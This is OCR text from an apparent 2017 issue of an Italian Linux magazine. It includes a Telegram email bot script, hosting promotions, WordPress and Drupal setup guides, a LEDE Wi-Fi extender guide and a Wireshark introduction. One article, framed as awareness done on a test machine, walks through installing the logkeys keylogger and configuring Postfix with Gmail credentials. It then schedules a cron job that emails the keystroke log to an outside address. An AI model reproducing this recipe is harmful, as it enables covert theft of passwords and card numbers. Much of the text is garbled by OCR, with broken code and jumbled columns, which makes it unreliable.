import smtplib 
import time 


def handle(msg): 
chat_id = msg['chat']['id'] 
command = msg['text'] 


print ‘Ricevuto comando: %s' % command 


if command == '/email': 

server = smtplib.SMTP('smtp.gmail.com', 587) 
server.starttls() 
server.login( "EMAIL ADDRESS", "PASSWORD" ) 
msg = "Raspberry Pi and Telegram bots!" 
to = “EMAIL DESTINAZIONE" 
server.sendmail(“FROM EMAIL ADDRESS”, to, 

i msg) 
server.quit() 
bot.sendMessage(chat_id, "Email inviata con 

successo") 


bot = telepot.Bot(*TOKEN FORNITO DA BOTFATHER') 
bot.,message _loop(handle) 
print 'In attesa..." 


while 1: 
time.sleep(10) 


Avviamo quindi lo script con: 
python mailBot.py 


Adogni invio del comando /email al bot riceveremo un messaggio 
nella chat contenente “Email inviata con successo” e contestual- 
mente andremo ad inviare messaggio di posta elettronica all’in- 
dirizzo di destinazione. E se vogliamo inviare anche un allegato? 
Il discorso si complica, ma se vogliamo approfondire l'argomento 
possiamo fare un salto sulla pagina www.edmaster.it/url/6881. 


TIRIAMO LE SOMME 


Siamo giunti al termine di quest'avventura. Come è possibile in- 
tuire le possibilità di interazione adoperando Telegram, un Ra- 
spberry Pi e i più disparati componenti hardware/software sono 
praticamente infinite: dopotutto, un bot nasce anche con lo scopo 
di facilitare la vita di chi ha intenzione di utilizzarlo. Per qualsiasi 
dubbio o chiarimento, come al solito, possiamo fare riferimento 
al forum di Linux Magazine (htftp:/linux-magazine.edmaster.it). 


ee 
Linux Magazine c0e57 


CMS: SCEGLI 


. PROMO 
Hostingsolutions 


Dal blog al sito 
e-commerce: impara 

a conoscere il CMS più 
adatto alle tue esigenze e 
scegli solo il meglio per te 


zione di qualsiasi progetto, dal classico blog fino al 


QUELLO GIUSTO! 


Out of the box 


Silver Linux + WordPress 
www.hostingsolutions.it 


di forza segnaliamo l’interfaccia intuitiva e la vasta 


stem) appartiene alla storia “recente” del Web. 

i tratta di soluzioni che hanno rivoluzionato 

la produzione dei contenuti on-line proponendosi 
come strumenti innovativi e versatili per la realizza- 


[o dei CMS (Content Management Sy- 


più complesso sito e-commerce. WordPress, Dru- 
pal e Joomla sono senza dubbio i CMS più noti. 
Il primo detiene l’indiscusso primato per numero 
di utenti e portali presenti sul Web. Tra i suoi punti 


selezione di plug-in e temi, tutte caratteristiche ap- 
prezzate anche dagli utenti alle prime armi. Il secon- 
do ed il terzo, sacrificando parte dell’immediatezza 
di WordPress, si rivolgono invece ad un pubblico 


WordPress: il preferito dagli utenti 


Acquistiamo il pacchetto Silver Linux + CMS e muoviamo i primi passi in WordPress 


Hosting Hosting Hosting Hosting Hosting 
WordPress Joomla! Drupal WooCommerce PrestaShop 

(\V) E è CMMcommeRce | PrestaShop || 

i 

È 

servizio include: BE 
. + 20 caselle e-mall ca 2 GB ; È 
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IL GIUSTO CMS 


01 Raggiungiamo la pagina Web www.edmaster.it/url/6883 

e premiamo su Ordina subito in corrispondenza del CMS 

da utilizzare. Silver Linux può essere associato ad un nuovo dominio 
o ad uno già esistente. Ultimiamo l'ordine seguendo le istruzioni. 


Aggiungi Tema \cerutima 


i cia 


Snai 
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La dui 
sso lviai sidzzà MiistABA sisi sciiti casio Dil ie ice iberico) 


QUALE TEMA? 
03 La bacheca è il menu principale del CMS dove possia- 
mo accedere alle funzionalità principali di WordPress. 
In Aspetto > Temi > Aggiungi nuovo possiamo visionare i temi 
installati di default, cercarne di nuovi on-line (gratis ed a paga- 
mento) ed effettuarne il setup in pochi clic. 


CT] 
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IL LOGIN 
0 2 A servizio attivo, riceveremo un'email di confer- 
ma con tutti i dati necessari per utilizzare Silver Li- 
nux, inclusi il nome utente e la password. Raggiungiamo la pagina 
http://*dominio*/wp-login.php ed inseriamo i dati di login. 


Aggiungi plugin cekapiigia 


Vee oi po 


le frzionaltà di eorcSress. Puoi Installare | plug automaticamente dalla dencinra de pari i ooSreca 0 caricando un cupo m formato 


È 
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UN NUOVO PLUG-IN 
04 Nel menu laterale della bacheca troviamo anche il 
collegamento alla sezione Plugin, componenti aggiun- 
tivi in grado di aggiungere nuove funzionalità alla piattaforma. 
Per procedere all’installazione, clicchiamo su Plugin + Aggiungi 
nuovo e seguiamo le istruzioni. 


di utenti esperti che necessita di piattaforme avan- 
zate per la realizzazione di progetti complessi e di 
alto profilo. Dalla nostra breve introduzione non 
può essere lasciato fuori Prestashop, “figlio” del 
boom del settore e-commerce. Insomma, il mondo 
dei CMS offre soluzioni adatte ad ogni tipologia di 
utente e progetto. Non resta che trovare un piano 
hosting conveniente e performante, come Silver Li- 
nux di Hosting Solutions - ordinabile con il CMS 
che desideriamo già installato e pronto all’uso! 


ATTIVA LA PROMOZIONE SILVER LINUX + CMS 


I lettori delle riviste Edizioni Master 
possono usufruire della speciale pro-. 
mozione Hosting Solutions: il pacchetto 
hosting Silver Linux + CMS preinstalla- 
‘to (WordPress, Drupal, Joomla, Pre- 
stashop, WordPress+WooCommerce] 


| sarà offerto gratuitamente per 12 mesi 


al solo costo del dominio. Durante la 
fase di acquisto, utilizziamo il codice 
promozionale SLCMSPDOM (può esse- 


re utilizzato solo una volta ed è valido 


fino al 31/12/2017). 


Gestione del blog in pochi clic 


Ecco come pubblicare un articolo, gestire le immagini ed ottimizzare il nostro nuovo sito Web 


Aggiungi nuova pagina 


e : 
| Inserisci qui il titolo 


UNA NUOVA PAGINA 
101) Le pagine sono utilizzate per articolare il portale in 
più sezioni. Clicchiamo su Pagine > Aggiungi nuovo 
per avviarne la creazione. Noteremo che l'interfaccia è simile a 
quella di un classico editor di testi. Il pulsante Pubblica renderà 
visibile a tutti la pagina. 


Ubrena meda smo 


BE report» 


FILE MULTIMEDIALI 
Tutti i file multimediali che abbiamo caricato sono rac- 


colti in questa sezione. È possibile aggiungerne di nuo- 
vi, ordinarli per categoria (audio, video, immagine), data [mese] 
ed andare, all'occorrenza, a modificarne direttamente gli attributi 
(titolo, didascalia, testo ALT, descrizione) cliccandoci sopra. 


I COMMENTI 
| commenti degli utenti sono gestiti nell'omonima sezio- 


ne della bacheca. L'admin può approvare i commenti in 
attesa di moderazione (rendendoli quindi visibili a tutti), modificarli, 
cestinarli o contrassegnarli come spam. È anche possibile parteci- 
pare alla discussioni e rispondere ai commenti dei visitatori. 


IL PRIMO ARTICOLO 
Gli articoli possono essere editati cliccando su 


Articoli > Aggiungi Nuovo: l'interfaccia è la stessa di 
quella del passo precedente. Se non vogliamo pubblicare subito 
l'articolo, possiamo cliccare semplicemente su Salva Bozza o 
programmare la pubblicazione automatica. 


Quick Page/Post Redirect 


Layout Settings 
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OTTIMIZZAZIONE SEO 
L'ottimizzazione SEO ci permette di migliorare il 


posizionamento del sito nei motori di ricerca come 
Google e Bing. Il plug-in SEO by Yoast, in grado di analizzare in 
pochi istanti ogni contenuto e suggerirci preziosi consigli, è uno 
strumento irrinunciabile per qualsiasi utente. 


Utenti Vaie 
Tenmoii | Avis st 
Asini A Gono *  Aovia |  Contenzon, * 


GESTIONE UTENTI 
106) La sezione Utenti, raggiungibile dal menu laterale, con- 
sente agli admin di aggiungere, eliminare e modificare i 
dati di ogni singolo utente registrato. Si tratta di una funzione molto 
utile che ci permette di creare anche i profili di eventuali collabora- 

tori, nel caso di lavoro in team. 
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DELLA TUA WI-FI 


La copertura della rete senza fili non è sufficiente a coprire ogni 
angolo di casa? Niente paura! | nostri esperti ti spiegano come 
trasformare un vecchio PG in un potente extender 


router ADSL (così come quelli dedicati 
alla fibra ottica) sono dispositivi este- 
ticamente sempre più ricercati: sono 


perfetti per essere piazzati in salotto senza 


far storcere il naso agli amanti del design. 
Ma a cotanta bellezza, non corrisponde un 
altrettanto elevata potenza. Già, perché per 
rendere questi dispositivi sempre più com- 


patti, la stragrande maggioranza dei pro- 
duttori decide di eliminare completamente 
le antenna e, com'è facile intuire, il range di 
azione della nostra rete Wi-Fi scende ine- 


LEDE, la giusta distro 


Installiamola su una pendrive USB e iniziamo la sua configurazione 
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DOWNLOAD IN CORSO 
01 Dall'indirizzo www.edmaster.it/url/6921 scarichia- 
mo il file combined-ext4.img.gz: l'immagine del 
firmware. A download terminato, lanciamo quindi il coman- 
do gnuzip lede-x86-64-combined-ext4.img. 


RIGA DI COMANDO 

Dal BIOS del PC, abilitiamo l'avvio da periferica USB. 

Ci ritroveremo davanti a una console di sistema: pos- 
siamo notare che l'utente in uso è root. Ora, da un altro PC della 
rete, colleghiamoci all'extender con un cavo Ethernet. 


03 
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Dispositivo Avvio Start Fine Settori Size Id Tipo 


48 12 


Disk /dev/sdb: 3,8 GIB, 4063232000 bytes, 7936000 sectors 
Inits: sectors of 1 * 512 = 512 bytes 
tector size (lonical/obusicali: 512 hutas / 512 hutes. 


PENDRIVE LIVE 
02 Per facilitare l'avvio della distro, creiamo ora una 
pendrive USB live. Con il comando fdisk -l troviamo 
la pendrive collegata al PC e lanciamo sudo dd if=fileimmagine. 
img of=/dev/sdX. Sostituiamo sdX con la giusta destinazione. 


Authorization Required 


Prvaso enter your utomame ari paramora 


LA WEB INTERFACE 
04 Disattiviamo il Wi-Fi e, da browser, raggiungiamo 
l'indirizzo 192.168.1.1. Ci troveremo davanti alla 
schermata di login dell'interfaccia LUCI. Non inseriamo 
alcuna password ed'effettuiamo il login come root. 


sorabilmente. Certo, acquistando modelli 
abbastanza costosi, la copertura non sarà 
più un problema, anche se abitiamo in una 
struttura molto grande, ma perché togliere 
di tasca centinaia di euro se possiamo re- 


alizzare un Wi-Fi extender a costo zero? 
Tutto quello che ci occorre è un vecchio PC 
ormai in disuso e la giusta distro, LEDE. 
Acronimo di Linux Embedded Develop- 
ment Environment, mette le sue radici nel 


ben più noto OpenWRT, sistema operativo 
appositamente studiato per la realizzazione 
di router. Ma non perdiamo altro tempo e 
scopriamo subito come dare più potenza 
alla nostra connessione Wi-Fi. 


PC o extender Wi-Fi? 


Connettiamo l'extender fai da te alle rete locale e aumentiamo la copertura di rete 


Di 


è 
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QUALI PARAMETRI? 
Dopo aver effettuato;il login spostiamoci in Network 


+ Interfaces. Clicchiamo su EDIT e scegliamo un IP 
(192.168.1.100), ilgateway (192.168.1.1) e il DNS 8.8.8.8. Possiamo 
connettere LEDE via Ethernet al router per accedere a Internet. 


Joln Network: Wireless Scan 


A 
Uligisiazio sci crac 


Slanna 
provai PAESI 
P 
sona ssa 
TÈ. Chant: + + bor Rica | BASA 1 LE AE ROLO A Eragon PAD PIM 
rueazoosasi RAZZA 
rien SOS ITS 
é 
——_“’»limc@imiecicc;’ i 
LA GIUSTA RETE... 


Una volta installati i driver Wi-Fi, nel pannello Network 

apparirà la voce Wireless. Selezioniamola e, nella nuo- 
va finestra che appare, clicchiamo su SCAN. Appariranno tutte le 
reti disponibili, selezioniamo la nostra e scegliamo Join. 
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Interface Configuration 
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EXTENDER PRONTO! 

Raggiungiamo la pagina Wireless e clicchiamo su Add. 

Scegliamo un nome per la rete e inseriamo la password 
WPA2-PSK in Wireless Security. Abilitiamo l'interfaccia lan e sal- 
viamo le modifiche apportate. 


amarena ero 


veste 
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eck passed. i 
opkg install kmod-rt2800-usb kmod-rt2x00-usb kmod-rt2800-pci kmod-ri 
ERETTE DENTI lattab e iiagiaiti fici vara ideata mati 
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IDRIVERWI-FI 

Aggiorniamo la lista pacchetti con opkg update e lan- 

ciamo opkg install kmod-rt2800-usb kmod-rt2x00-usb 
kmod-rt2800-pci kmod-rt2x00-pci wpad per installare i driver Wi- 
Fi e il modulo per la gestione della password cifrate WPA. 


Jolning Network: "BonWifi" 
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SENZA CAVO 

Inseriamo la password della rete senza fili e premiamo 

Submit. Nella pagina che apparirà scegliamo l'interfac- 
cia wwan e confermiamo con Save & Apply. LEDE si collegherà alla 
rete Wi-Fi e potremo staccare il cavo Ethernet. 
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DHCP Server 
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AD OGNUNO IL SUO IP 

Configuriamo il server DHCP in modo che rilasci IP 

entro un certo range. Spostiamoci in Interfaces e clic- 
chiamo su Edit. In DHCP server inseriamo Start 200 e Limit 50 per 
assegnare gli IP da 192.168.1.200 a 192.168.1.250. 
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a maggior parte dei siti Web basati 

| su CMS Open Source mette le sue 
radici in WordPress. Ma il fatto che 
quest'ultimo sia il più diffuso non equivale certo 
a dire che si tratti del migliore. Senza dubbio 


alcuno WordPress è semplice da usare, offre 
una quantità elevata di plug-in e template ed è 


DRUPAL, 
IL RE DEI CMS 


Quando si parla di CMS, WordPress è il primo nome che 
balza in mente. Ma per chi cerca stabilità, flessibilità 
e sicurezza Drupal è la scelta perfetta! 


molto versatile. Ma lo stesso lo si può dire del 
meno diffuso ma incredibilmente apprezzato 
dagli sviluppatori Drupal. Già, perché questo 
CMS Open Source, grazie alla sua modularità 
permette di mettere in piedi anche i progetti 
Drupal è veloce, completo 
“sporcarsi le mani” 


più complessi: 
e per chi ha voglia di 


estendendone le funzionalità offre delle API 
decisamente complete e chiare. Per questo 
motivo abbiamo deciso di metterlo alla prova. 
Possiamo installare Drupal su un hosting 
space “classico” ma, se vogliamo ottenere il 
massimo, possiamo scegliere di acquistare un 
piano hosting ottimizzato proprio per Drupal. 


SOLUTION 


Hosting Low Cost 


li nostro servizio di web hosting low cost e' stato pensato per coloro che hanno bisogno di stabilita” pur mantenendo i 
costi contenuti del servizio hosting. | nostri piani web hosting (ca! personal 0! si personal 05) il permetteranno di 


Per i nostri test ci siamo affidati al provider ital- 

iano VHosting Solution. Raggiungiamo quindi la 
pagina Web www.vhosting-it.com e spostiamoci nella sezione 
Web Hosting. Scegliamo il piano che più si adatta alle nostre 
esigenze e ultimiamo l'acquisto. 
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htaccess 08 File 
LICENSE. txt 08 tatfile 
Selezionati 16 file e o cartelle. Dimensione totale: 0 D 16/le e 1 cartella. Dimensione totale: 08 


Decomprimiamo l'archivio contenente Drupal. A ques- 

to punto, apriamo la mail di attivazione del servizio 
ricevuta da VHosting e annotiamo i dati per l'accesso FTP al nostro 
hosting space. Con il client che preferiamo (ad esempio FileZilla) 
trasferiamo la directory di Drupal nella cartella httpdocs. 
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Download 


Drupal core 
DI seguito boverai gli ultimi pacchetti di porvi per ogni ramo della piattaforma di Drupal 


Quae 


Raggiungiamo ora il sito Web ufficiale italiano di 

? Drupal (www.drupal.it) e clicchiamo su Download: 

provvediamo dunque a scaricare l'ultima release disponibile 

del CMS (al momento in cui scriviamo la 8.3.3) cliccando sul 
pulsante Scarica il pacchetto. 


Nome utente 


Password 


Lingua interfaccia 


Il trasferimento può durare anche diversi minuti 

{i file da trasferire sono oltre 13.000!). Nel frat- 
tempo, sempre dalta mail di attivazione del servizio di host- 
ing recuperiamo i dati di accesso al pannello Plesk: da qui, 
possiamo creare nuovi account FTP e gestire i database. 


ARS LL 


Aggiungi un database 


Generale 


Nome del databare * 


vico, dp 
Voss 306 pda per MySQL 1909) 
Sincero Nessanita comico. 4 


Server del databona 


Utenti 
HE Cresunstenne del databona predetta. Pesì accederà ai excabase per conta di questo utente Se al aabe non è stato assegnato a ente alora nisi è crisi. 
EEicrea certa dl tate 
None utente dl dtabiva * 
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Co utente ha accesso a tuti databara nell'abbonamento selezionato 
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UN NUOVO DATABASE 

Effettuato l'accesso al pannello Plesk, spostiamo- 
ci nella sezione Database e da qui clicchiamo sul 
pulsante Aggiungi Database. Compiliamo il campo Nome del 
database con il nome che preferiamo e, dopo aver spuntato 
l'opzione Crea un utente del database, compiliamo i campi 
rimanenti. Confermiamo con 0K. 


gli una lingua 


Seleziona un profilo di i 


TRENO installazione . E 

fica i requisiti È 

PRPIRS © standard 

Sta igganase Installa con le caratteristiche comunemente usate È 

allazione sito pre-configurate. È 
O Minimale 


osta traduzioni 
figurazione sito utenti esperti. 


ipleta traduzioni 
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SETUP IN CORSO 

Possiamo ora entrare nel vivo dell'azione e proce- 
dere al setup del CMS. Con il browser che preferi- 
amo, raggiungiamo l'URL del sito Web e, se tutto è andato 
per il verso giusto, appare l'interfaccia di configurazione gui- 
data di Drupal. Impostiamo la lingua italiana e scegliamo 
l'installazione Standard. Proseguiamo con Salva e continua. 


enni 


Drupal 233 
se Configurazione sito 
+ _Unfile di traduzione è stato importato. 7388 
traduzioni sono state aggiunte, 0 sono state 
Imposta il databas aggiornate e 0 traduzioni sono state eliminate. 


INFORMAZIONI SUL SITO 


Nome del sito * 


Configurazione sito ET DERE ERI 


‘Cirtigilata traduzioni Indirizzo e-mail del sito * 


oe È A 
Vincosentino@igmali.com 


Liovio automatico di emad dal sto, come ie informazioni di 
registrazione, sarà effettuato da questo indirizzo. Usare un 
indirizzo È cui dominio comsponda a quello del sito per evitare 


GLI ULTIMI RITOCCHI 

UYU O .. Dopo qualche secondo, l'installazione sarà ultimata 
|—_—’eciritroveremo nella scheda Configurazione sito. Da 

qui possiamo scegliere alcune informazioni basilari sul sito Web 

che stiamo per realizzare. Indichiamo un Nome del sito e creiamo 

un utente per la gestione dello stesso. Salviamo e proseguiamo. 


Costruire un sito senza funzionalità predefinite. Adatto per È 
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Supporto ss. @atvato 
conii tes ing bone ono 


Statistiche e Scripting Web 
Specifica quale del seguenti Iinguaggi di programmazione e di scripting devono estere interpretati, eseguiti o altrimenti elaborati dal server web, 


eseguire rip come Applicazione Fasci) 


tencnpera li conretto 


Supporto PHP (Versione PHP_ 5530 


linate cicca road 


© activto fa dreciory ig bi sitrova e mero) 
iidtaisccniiloMMSMIMP MON ist iiai ti iL creditizi ceci siasi aettiricizio:isa 


mm PHP: QUALE VERSIONE? 

"Affinché l'ultima release di Drupal funzioni cor- 
rettamente è necessario che il web server sia 
equipaggiato con un altrettanto recente release di PHP. For- 
tunatamente, in Plesk possiamo scegliere quella che prefe- 
riamo. Spostiamoci in Siti Web e Domini e, da Supporto PHP 
scegliamo la voce 5.5.38. 


Dru pal 8.3.3 


Configurazione database 


Tipo database * 


Verifica i requisiti ° MySQL. MariaDB. Percona Server, o equivalenti 


1 si 
Imposta il database O satite 

O fi 
Installazione sito PAStreSgi: fi 
Imposta traduzioni Nome database * Ì 

| vincos_drupal È 


Configurazione sito 


De: * i 
nmpraraletatmAsniazion ep utente data Daze ma PAPI A meme 


ji COLLEGAMENTO AL DATABASE 
1. Ci ritroviamo nella scheda Configurazione data- 
base. Selezioniamo l'opzione MySQL, MariaDB, 


Da 


DE 


Percona Server o equivalenti e compiliamo i campi Nome 
database, Nome utente database e Password database 
con i dati indicati durante la fase di creazione del database. 
Proseguiamo con Salva e continua. 


sa Benvenuti in Drupal È 
a Non è stata creato alcun contenuto per la prima pagina. Ì 

Aggigi corteo i 

$ 

Soumend a È 


agrom TENTAZIONE aan ; 


TUTTO PRONTO! A 

IL nostro nuovo sito Web equipaggiato con Drupal è 
pronto all'uso! Ora non ci resta che cliccare sul pul- 
sante Gestisci da dove potremo personalizzare l'aspetto del sito 
Web o le sue funzionalità: ricordiamo infatti che sono disponibili 
migliaia di moduli che estendono il CMS. 


e000 
vee 
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ECCO COME 
RUBANO 
I TUOI DATI 


Forse non lo sai, ma nel tuo PC potrebbe nascondersi 
un software “spia” che informa un pirata di qualsiasi 
carattere digitato da tastiera 


Mario Bonofiglio 


utti noi navighiamo sui principali social network, effettuia- qualsiasi nostra mossa? Pur affidandoci ad una qualunque distribuzio- 
mo ricerche sul Web o acquistiamo direttamente on-line gli ne GNU/Linux che, com'è noto, è (quasi) esente da minacce di sicurez- 
oggetti dei nostri desideri. E se scoprissimo che un nemico za, non siamo comunque al sicuro. Già, perché al pirata basta prendere 
silente che si nasconde nel nostro PC spia continuamente possesso del nostro notebook o desktop per qualche secondo (approfit- 


Un keylogger nel tuo PG 


Installiamo il software “spia” su un computer di test 


: Postfix Configuration 
Indicare un dominio, host, host:porta, [indirizzo] o [indirizzo]:porta. 
Y usando la forma [destinazione] vengono disabilitate le ricerche MX. 
:t install logkeys mailutils k Lasciare in bianco se non si usa alcun relay. 


Non specificare più di un host. 


Il parametro «relayhost» indica l'host predefinito a cui inviare la 
posta quando non viene trovata alcuna corrispondenza nella tabella 
opzionale transport(5). Se non viene indicato, la posta è instradata 
direttamente alla destinazione. 


EIZO TT TETTI ENTI 


SETUP IN CORSO ECCO MAIL 

Installiamo LogKeys e Mail sul nostro sistema di test. Durante la fase di setup di Mail, ci verranno richiesti al- 

Per farlo basta lanciare da terminale il comando sudo cuni dati di configurazione: quando richiesto, inseriamo 
apt-get install logkeys mailutils che installerà LogKeys e un sof- il nome del servizio di posta da utilizzare; se vogliamo utilizzare una 
tware per l'invio dei messaggi di posta elettronica tramite Postfix. casella GMail, ad esempio, inseriamo smtp.gmail.com:587. 


(x) marlo@mariobonofiglio-VirtualBox: - 


QUALE DEVICE? TUTTO PRONTO! 

È arrivato il momento di LogKeys. Lanciamo il coman- Questo parametro serve per sapere quale dispositivo 

do comando cat /proc/bus/input/devices e cerchiamo monitorare. Usiamo il comando sudo nano /etc/default/ 
una riga simile a questa: “H: Handlers=sysrq kbd event”. Il numero logkeys e cambiamo il rigo ENABLED=0 in ENABLED=1 e alla voce 
dopo event ci indica il parametro da dare a LogKeys. DEVICE inseriamo il nostro numero EVENT appena trovato. 


CITI 
ceco 
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tando magari di un nostro allontanamento) per installare un particolare 
programma “spia”. Stiamo parlando dei cosiddetti keylogger, software 
in grado di tracciare ogni carattere digitato sulla tastiera e salvare il 
tutto in un file di log. Il malintenzionato può poi far sì che questo file 
(inizialmente salvato in locale) venga caricato su un hosting space o 


I dati arrivano via mail! 


inviato tramite e-mail ad uno specifico indirizzo: così, può scoprire i 
codici delle carte di credito che abbiamo usato sul Web e le password 
di accesso ai vari e-commerce e social network visitati. E per capire 
meglio quali siano i reali pericoli, al solo fine di studio, abbiamo instal- 
lato un keylogger su una macchina di test. Ecco cosa abbiamo scoperto. 


e 


Ultimata la configurazione di LogKeys, ecco come spedire i log via posta elettronica 


:-$ sudo tail --follow /va 
ogfile Logkeys logkeys. Log 
:-$ sudo tail --follow /va 


sudo] password di mario: 
5-09 13:17:47+0200 > 


stopped at 2017-06-09 13:22:30+0200 


started ... 


TUTTO A POSTO? 
01 Riavviamo il sistema e apriamo il terminale: digi- 
tiamo sudo tail --follow /var/log/logkeys. Scriviamo 
qualcosa sulla tastiera per verificare che.il keylogger appena 
installato funzioni correttamente. Qualora i caratteri fossero 
sbagliati dovremo cambiare key map. 


Modific 


iyhostname = mariobonofiglio-VirtualBox 
Ù as 
Jaliases 
= anonim 0 Smyhostname, mariobonofiglio-VirtualBox, localli 
smtp.gmail 
= 127.0.0.0/8 [ ff:127.0.0.0]/104 [::1]/128 
size limit = 0 

recipient_delimiter = + 
inet_interfaces = loopback-only 
inet_protocols all 
smtp_use_tls = yes 
smtp l_auth_enable = 
mi Ì cevacd_ mo CI 


i VERIFICHIAMO | LOG 
j & Riavviamo LogKeys (sudo /etc/init.d/logkeys restart) 
e lanciamo nuovamente il comando tail. Se tutto fun- 
ziona come dovrebbe, configuriamo Postfix. Lanciamo nano / 
etc/postfix/main.cf e aggiungiamo il contenuto del file scarica- 
bile da www.edmaster.it/url/6880. 


1-$ sudo Su 
root@mariobonofiglio-VirtualBox:/home/mario# mail ar64sh 
VS 
root@mariobonofiglio-VirtualBox:/home/mario# JI 


MAIL DI PROVA 

Riavviamo Postfix con sudo service postfix restart. 

Lanciamo sudo su per leggere il file di log e inviamo 
una mail con il comando mail email « /var/log/logkeys. Il conte- 
nuto del file di log verrà inviato come corpo del messaggio. 


marlo@marlobonofiglio-VirtualBox: + 
GNU nano 2.5.3 File: /etc/init.d/logkeys Modificato 


Jetc/default/logke 
. fetc/default/log 


. /tib/lsb/init-functions 


fim UN NUOVO FILE 
0 VA Per fare ciò, dobbiamo scaricare il file it.map dalla 
pagina Web www.edmaster.it/url/6879. Lanciamo 
nano /etc/init.d/logkeys e cambiamo il rigo "DAEMON_OPTS="-s 
-d...." con "DAEMON_OPTS="-s -d $DEVICE -m /destinazione/ 
it.map -0 $LOGFILE $DAEMON_OPTS". 


GNU nano 2.5.3 


smtp.gmail.com ciccio:cicciopass@ 


LE CREDENZIALI 

Ora creiamo un file contenente la password per il 
servizio di posta: nano /etc/postfix/sasl/file_passw. 
Inseriamo la stringa smtp.gmail.com username:password, sal- 
viamo le modifiche al file e lanciamo postmap /etc/postfix/sasl/ 
file_passw. 


GNU nano 2.5.3 


daemon's notion of time and timezones. 


# Output of the crontab including errors) is sent through 
k email to the user the ab file belongs to (unless redirected). 


# For example, you can run a backup of all your user accounts 
at a.m every week with: 
* * 1 tar -zcf /var/backups/home.tgz /home/ 


E For more information see the manual pages of crontab(5) and cron(8) 


# mh dommond command 
/10 * * * * /usr/bin/mail ar64sh@gmail,com < /var/log/logkeys 


NI IN AUTOMATICO! 
UO Perfarsichei file di log venga inviato automatica- 
i mente tramite mail ogni 50 minuti (ad esempio) usia- 
mo il comando sudo crontab -e e inseriamo la stringa */50**** 
/usr/bin/mail'indirizzodestinatariofdemail.it « /var/log/logkeys. 
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n antico proverbio orientale recita “Dimmelo e dimen- 

tico. Mostrami e lo ricordo. Coinvolgimi e capisco”. 

Il proverbio, applicato alle reti di computer, e quin- 

di ai relativi protocolli che le governano, può essere 
utilizzato per capire nei minimi dettagli la sequenza di messaggi 
scambiati tra due entità in una rete al fine di comprenderne i rispet- 
tivi comportamenti, le azioni intraprese e le relative conseguenze. 
Affinché sia possibile raggiungere tale obiettivo si rende necessario 
analizzare i pacchetti che viaggiano in rete e, per quanto possibi- 
le, arrivare ad un “livello atomico” consistente nello scindere ogni 
pacchetto fino al suo più piccolo elemento. Con un po” di studio e 
l’uso del proprio PC ognuno potrà effettuare questa analisi, nonché 
registrare i dati su file al fine di continuare lo studio anche offline 
non prima di aver ricordato, però, che l’esecuzione dovrà avvenire 
strettamente sulla propria rete personale perché, sebbene lo stru- 
mento che utilizzeremo risulti passivo e non invasivo (non invia al- 
cun pacchetto), l’intercettazione (fraudolenta) del traffico di utenti 
diversi è considerato un reato. Così come le politiche aziendali vie- 


IL BACK-END: GLI STRUMENTI 
INTEGRATI IN WIRESHARK 


Se analizzassimo il contenuto del pacchetto precompila- 
to per la distribuzione in uso, ci renderemo conto come 
Wireshark sia caratterizzato da un insieme di strumenti 
(eseguibili) ognuno dei quali con compiti specifici. Quando 
lanciamo Wireshark viene eseguito il tool dumpcap {man 
dumpcap) il quale effettua il dumping (lo scaricamento) del 
traffico di rete utilizzando,.di default, le librerie libpcap. 
Altro strumento è mergecap (man mergecap) il quale per- 
mette di unire due o più file di dati inuno solo. Laddove non 
si avesse a disposizione un server grafico è possibile usare 
la versione a linea di comando: tshark -i eth0 -c 100 -w / 
percorso/file/da/scrivere not http (man tshark). 
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PRIMI PASSI 
GON LO SQUALO 
DELLA RETE 


Wireshark cattura, registra, analizza e monitora 
la tua LAN. Uno strumento diagnostico al servizio 
anche di chi vuole imparare. Ma come si usa? 


Wireshark 2.2.7 


Licenza: GNU GPL Sito web: https://www.wireshark.org 


tino, nelle proprie reti, l’uso di strumenti di monitoraggio. 


COME FUNZIONA? 


Per capire come sia possibile catturare, registrare e monitorare in 
tempo reale il traffico da una o più interfacce di rete, occorre dap- 
prima analizzare “al microscopio” il principio di funzionamento di 
strumenti software come Wireshark. Osserviamo la Fig 1. Un sof- 
tware che voglia monitorare la rete ascoltando tutto ciò che passa in 
essa (in gergo “sniffare”) deve possedere almeno due componenti: 
un packet capture e un packet analyzer. I messaggi scambiati con 
protocolli di livello superiore come HTTP o FTP sono incapsulati 
in un frame del livello Data Link del modello ISO/OSI e vengono 
trasmessi/ricevuti su supporti fisici come ad esempio il cavo Ether- 
net che dalla scheda di rete (alcune volte indicata con l'acronimo 
NIC, Network Interface Controller o Network Interface Card) 
va al router. Ovvia conseguenza, la cattura di tutti i frame a livello 
di Data Link permette di sniffare tutti i messaggi inviati/ricevuti da 
tutti i protocolli e le applicazioni che vengono eseguite sul compu- 
ter. Premesso ciò, il packet capture è una libreria - nello specifico 
libpcap dal significato di Promiscuous Capture Library (Www. 
icpdump.org) - che fornisce da un lato un'interfaccia verso il kernel 
e dall’altra le API (Application Programming Interface) neces- 
sarie allo sniffer per potersi interfacciare. 

Attraverso l’uso di queste librerie è possibile ricevere i pacchetti 
che interessano l’interfaccia di rete scelta, anche se dal punto di 
vista formale la definizione non è corretta poiché, come visibile in 
Fig. 1, l'interazione avviene passando attraverso lo spazio kernel 
del sistema operativo e nello specifico nel blocco filtri BPF (Ber- 
keley Packet Filter) che si interfaccia con il livello Data Link e 
permette un filtraggio mirato sui dati tramite uso di primitive. Chi 


ISO/OSI 0/[9POWN 


Kernel Space 


(*) Copia dei frame Ethernet 
trasmessi/ricevuti 


Fig. 1 * Principio di funzionamento di uno sniffer di rete 


volesse approfondire può consultare il manuale online man 2 bpf 
per la system call e man 8 bpf per l’implementazione in GNU/ 
Linux definita eBPF (Extended Berkeley Packet Filter). Il packet 
analyzer (analizzatore di pacchetti) è la seconda componente costi- 
tuiva di uno sniffer: ad essa è affidata la visualizzazione di tutti i 
campi presenti nei pacchetti catturati che, in una rete da 100 MB, 
possono essere diversi centinaia di migliaia al secondo! Per ottene- 
re questo risultato dovrà essere in grado di comprendere la struttura 
del frame e ciò è reso possibile grazie alla presenza dei dissectors 
(“dissezionatori”) assimilabili a plug-in che si passano il lavoro 
di separazione e successiva visualizzazione di tutti i parametri del 
protocollo incapsulato senza necessità di un’azione manuale ad 
opera dell’utente. Poiché Wireshark è in grado di analizzare svaria- 
ti protocolli - per citarne alcuni TCP, UDP, FTP, RPC, IRC, Quake, 
NetBios, ecc - vi sono centinaia di dissectors pronti all’uso. Sebbe- 
ne esuli dal presente contesto, aggiungiamo che se si è bravi a pro- 
grammare in Lua (www.lua.0rg) è possibile aggiungerne di propri 
creati ad-hoc per una specifica applicazione e protocollo. 


ANALISI DEI DATI 


Spiegato in linea di principio il funzionamento di Wireshark, pas- 


siamo a qualche applicazione pratica. Prima una precisazione. Una 
